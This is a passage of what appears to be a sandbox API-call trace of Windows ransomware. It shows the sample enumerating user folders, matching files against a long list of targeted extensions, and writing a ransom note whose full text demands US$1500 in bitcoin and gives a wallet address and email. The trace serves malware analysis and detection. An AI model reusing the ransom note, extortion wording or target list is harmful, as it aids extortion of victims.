Games\\desktop.ini", pszSpec="*.djvu") returned 0 [0091.303] lstrlenA (lpString="*.djvu") returned 6 [0091.303] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.tiff") returned 0 [0091.304] lstrlenA (lpString="*.tiff") returned 6 [0091.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.backup") returned 0 [0091.304] lstrlenA (lpString="*.backup") returned 8 [0091.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.pdf") returned 0 [0091.304] lstrlenA (lpString="*.pdf") returned 5 [0091.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.cert") returned 0 [0091.304] lstrlenA (lpString="*.cert") returned 6 [0091.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.docm") returned 0 [0091.304] lstrlenA (lpString="*.docm") returned 6 [0091.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.xlsm") returned 0 [0091.304] lstrlenA (lpString="*.xlsm") returned 6 [0091.304] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.dwg") returned 0 [0091.304] lstrlenA (lpString="*.dwg") returned 5 [0091.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.nd") returned 0 [0091.305] lstrlenA (lpString="*.nd") returned 4 [0091.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.tlg") returned 0 [0091.305] lstrlenA (lpString="*.tlg") returned 5 [0091.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.lgb") returned 0 [0091.305] lstrlenA (lpString="*.lgb") returned 5 [0091.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.mov") returned 0 [0091.305] lstrlenA (lpString="*.mov") returned 5 [0091.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.xdw") returned 0 [0091.305] lstrlenA (lpString="*.xdw") returned 5 [0091.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.ods") returned 0 [0091.305] lstrlenA (lpString="*.ods") returned 5 [0091.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.wav") returned 0 [0091.305] lstrlenA (lpString="*.wav") returned 5 [0091.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.mp3") returned 0 [0091.305] lstrlenA (lpString="*.mp3") returned 5 [0091.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.aiff") returned 0 [0091.305] lstrlenA (lpString="*.aiff") returned 6 [0091.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.flac") returned 0 [0091.305] lstrlenA (lpString="*.flac") returned 6 [0091.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.m4a") returned 0 [0091.305] lstrlenA (lpString="*.m4a") returned 5 [0091.305] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games\\desktop.ini", pszSpec="*.csv") returned 0 [0091.305] lstrlenA (lpString="*.csv") returned 5 [0091.305] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0091.305] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0091.306] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0091.306] lstrcmpA (lpString1=".", lpString2="Searches") returned -1 [0091.306] lstrcmpA (lpString1="..", lpString2="Searches") returned -1 [0091.306] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\*.*") returned="*.*" [0091.306] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\", lpString2="Searches" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" [0091.306] lstrlenA (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned 38 [0091.306] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0091.306] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0091.306] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.306] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0091.306] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0091.306] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x20c, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0091.306] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0091.306] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="desktop.ini") returned 1 [0091.306] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="desktop.ini") returned 1 [0091.306] lstrcmpiA (lpString1="", lpString2="desktop.ini") returned -1 [0091.307] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\*.*") returned="*.*" [0091.307] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\" [0091.307] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\") returned="" [0091.307] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\HOW TO DECRYPT FILES.txt" [0091.307] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\how to decrypt files.txt")) returned 0xffffffff [0091.307] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\searches\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x88 [0091.308] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0091.308] WriteFile (in: hFile=0x88, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0091.309] SetFileTime (hFile=0x88, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0091.309] CloseHandle (hObject=0x88) returned 1 [0091.309] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\", lpString2="desktop.ini" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini" [0091.309] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.ems") returned 0 [0091.309] lstrlenA (lpString="*.ems") returned 5 [0091.309] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.db") returned 0 [0091.309] lstrlenA (lpString="*.db") returned 4 [0091.309] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.dbf") returned 0 [0091.309] lstrlenA (lpString="*.dbf") returned 5 [0091.309] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.myox") returned 0 [0091.309] lstrlenA (lpString="*.myox") returned 6 [0091.309] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.myo") returned 0 [0091.310] lstrlenA (lpString="*.myo") returned 5 [0091.310] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.qbw") returned 0 [0091.310] lstrlenA (lpString="*.qbw") returned 5 [0091.310] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.qbb") returned 0 [0091.310] lstrlenA (lpString="*.qbb") returned 5 [0091.310] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.qbm") returned 0 [0091.310] lstrlenA (lpString="*.qbm") returned 5 [0091.310] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.qbo") returned 0 [0091.310] lstrlenA (lpString="*.qbo") returned 5 [0091.310] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.qbx") returned 0 [0091.310] lstrlenA (lpString="*.qbx") returned 5 [0091.310] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.qba") returned 0 [0091.310] lstrlenA (lpString="*.qba") returned 5 [0091.310] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.qby") returned 0 [0091.310] lstrlenA (lpString="*.qby") returned 5 [0091.310] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.qbj") returned 0 [0091.310] lstrlenA (lpString="*.qbj") returned 5 [0091.310] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.ofx") returned 0 [0091.310] lstrlenA (lpString="*.ofx") returned 5 [0091.310] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.qif") returned 0 [0091.310] lstrlenA (lpString="*.qif") returned 5 [0091.310] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.mye") returned 0 [0091.310] lstrlenA (lpString="*.mye") returned 5 [0091.310] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.mbox") returned 0 [0091.310] lstrlenA (lpString="*.mbox") returned 6 [0091.310] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.eml") returned 0 [0091.310] lstrlenA (lpString="*.eml") returned 5 [0091.310] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.pst") returned 0 [0091.310] lstrlenA (lpString="*.pst") returned 5 [0091.310] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.ost") returned 0 [0091.311] lstrlenA (lpString="*.ost") returned 5 [0091.311] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.idx") returned 0 [0091.311] lstrlenA (lpString="*.idx") returned 5 [0091.311] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.dbx") returned 0 [0091.311] lstrlenA (lpString="*.dbx") returned 5 [0091.311] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.sql") returned 0 [0091.311] lstrlenA (lpString="*.sql") returned 5 [0091.311] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.mdb") returned 0 [0091.311] lstrlenA (lpString="*.mdb") returned 5 [0091.311] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.fdb") returned 0 [0091.311] lstrlenA (lpString="*.fdb") returned 5 [0091.311] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.wab") returned 0 [0091.311] lstrlenA (lpString="*.wab") returned 5 [0091.311] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.dat") returned 0 [0091.311] lstrlenA (lpString="*.dat") returned 5 [0091.311] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.txt") returned 0 [0091.311] lstrlenA (lpString="*.txt") returned 5 [0091.311] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.jpeg") returned 0 [0091.311] lstrlenA (lpString="*.jpeg") returned 6 [0091.311] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.jpg") returned 0 [0091.311] lstrlenA (lpString="*.jpg") returned 5 [0091.311] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.png") returned 0 [0091.311] lstrlenA (lpString="*.png") returned 5 [0091.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.php") returned 0 [0091.312] lstrlenA (lpString="*.php") returned 5 [0091.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.cs") returned 0 [0091.312] lstrlenA (lpString="*.cs") returned 4 [0091.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.cpp") returned 0 [0091.312] lstrlenA (lpString="*.cpp") returned 5 [0091.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.rar") returned 0 [0091.312] lstrlenA (lpString="*.rar") returned 5 [0091.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.zip") returned 0 [0091.312] lstrlenA (lpString="*.zip") returned 5 [0091.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.html") returned 0 [0091.312] lstrlenA (lpString="*.html") returned 6 [0091.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.htm") returned 0 [0091.312] lstrlenA (lpString="*.htm") returned 5 [0091.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.xlsx") returned 0 [0091.312] lstrlenA (lpString="*.xlsx") returned 6 [0091.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.xls") returned 0 [0091.312] lstrlenA (lpString="*.xls") returned 5 [0091.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.mp4") returned 0 [0091.312] lstrlenA (lpString="*.mp4") returned 5 [0091.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.ppt") returned 0 [0091.312] lstrlenA (lpString="*.ppt") returned 5 [0091.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.pptx") returned 0 [0091.312] lstrlenA (lpString="*.pptx") returned 6 [0091.312] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.doc") returned 0 [0091.312] lstrlenA (lpString="*.doc") returned 5 [0091.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.dot") returned 0 [0091.313] lstrlenA (lpString="*.dot") returned 5 [0091.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.docx") returned 0 [0091.313] lstrlenA (lpString="*.docx") returned 6 [0091.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.7z") returned 0 [0091.313] lstrlenA (lpString="*.7z") returned 4 [0091.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.tar") returned 0 [0091.313] lstrlenA (lpString="*.tar") returned 5 [0091.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.bz2") returned 0 [0091.313] lstrlenA (lpString="*.bz2") returned 5 [0091.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.gz") returned 0 [0091.313] lstrlenA (lpString="*.gz") returned 4 [0091.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.mkv") returned 0 [0091.313] lstrlenA (lpString="*.mkv") returned 5 [0091.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.eml") returned 0 [0091.313] lstrlenA (lpString="*.eml") returned 5 [0091.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.msg") returned 0 [0091.313] lstrlenA (lpString="*.msg") returned 5 [0091.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.edb") returned 0 [0091.313] lstrlenA (lpString="*.edb") returned 5 [0091.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.accdb") returned 0 [0091.313] lstrlenA (lpString="*.accdb") returned 7 [0091.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.odb") returned 0 [0091.313] lstrlenA (lpString="*.odb") returned 5 [0091.313] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.java") returned 0 [0091.313] lstrlenA (lpString="*.java") returned 6 [0091.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.asm") returned 0 [0091.314] lstrlenA (lpString="*.asm") returned 5 [0091.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.pfx") returned 0 [0091.314] lstrlenA (lpString="*.pfx") returned 5 [0091.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.pem") returned 0 [0091.314] lstrlenA (lpString="*.pem") returned 5 [0091.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.p12") returned 0 [0091.314] lstrlenA (lpString="*.p12") returned 5 [0091.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.gpg") returned 0 [0091.314] lstrlenA (lpString="*.gpg") returned 5 [0091.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.vsd") returned 0 [0091.314] lstrlenA (lpString="*.vsd") returned 5 [0091.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.odg") returned 0 [0091.314] lstrlenA (lpString="*.odg") returned 5 [0091.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.raw") returned 0 [0091.314] lstrlenA (lpString="*.raw") returned 5 [0091.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.nef") returned 0 [0091.314] lstrlenA (lpString="*.nef") returned 5 [0091.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.svg") returned 0 [0091.314] lstrlenA (lpString="*.svg") returned 5 [0091.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.psd") returned 0 [0091.314] lstrlenA (lpString="*.psd") returned 5 [0091.314] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.vmx") returned 0 [0091.315] lstrlenA (lpString="*.vmx") returned 5 [0091.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.vmdk") returned 0 [0091.315] lstrlenA (lpString="*.vmdk") returned 6 [0091.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.vdi") returned 0 [0091.315] lstrlenA (lpString="*.vdi") returned 5 [0091.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.lay6") returned 0 [0091.315] lstrlenA (lpString="*.lay6") returned 6 [0091.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.mpeg") returned 0 [0091.315] lstrlenA (lpString="*.mpeg") returned 6 [0091.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.djvu") returned 0 [0091.315] lstrlenA (lpString="*.djvu") returned 6 [0091.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.tiff") returned 0 [0091.315] lstrlenA (lpString="*.tiff") returned 6 [0091.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.backup") returned 0 [0091.315] lstrlenA (lpString="*.backup") returned 8 [0091.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.pdf") returned 0 [0091.315] lstrlenA (lpString="*.pdf") returned 5 [0091.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.cert") returned 0 [0091.315] lstrlenA (lpString="*.cert") returned 6 [0091.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.docm") returned 0 [0091.315] lstrlenA (lpString="*.docm") returned 6 [0091.315] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.xlsm") returned 0 [0091.316] lstrlenA (lpString="*.xlsm") returned 6 [0091.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.dwg") returned 0 [0091.316] lstrlenA (lpString="*.dwg") returned 5 [0091.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.nd") returned 0 [0091.316] lstrlenA (lpString="*.nd") returned 4 [0091.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.tlg") returned 0 [0091.316] lstrlenA (lpString="*.tlg") returned 5 [0091.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.lgb") returned 0 [0091.316] lstrlenA (lpString="*.lgb") returned 5 [0091.316] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches\\desktop.ini", pszSpec="*.mov") returned 0 [0091.316] lstrlenA (lpString="*.mov") returned 5 [0091.316] 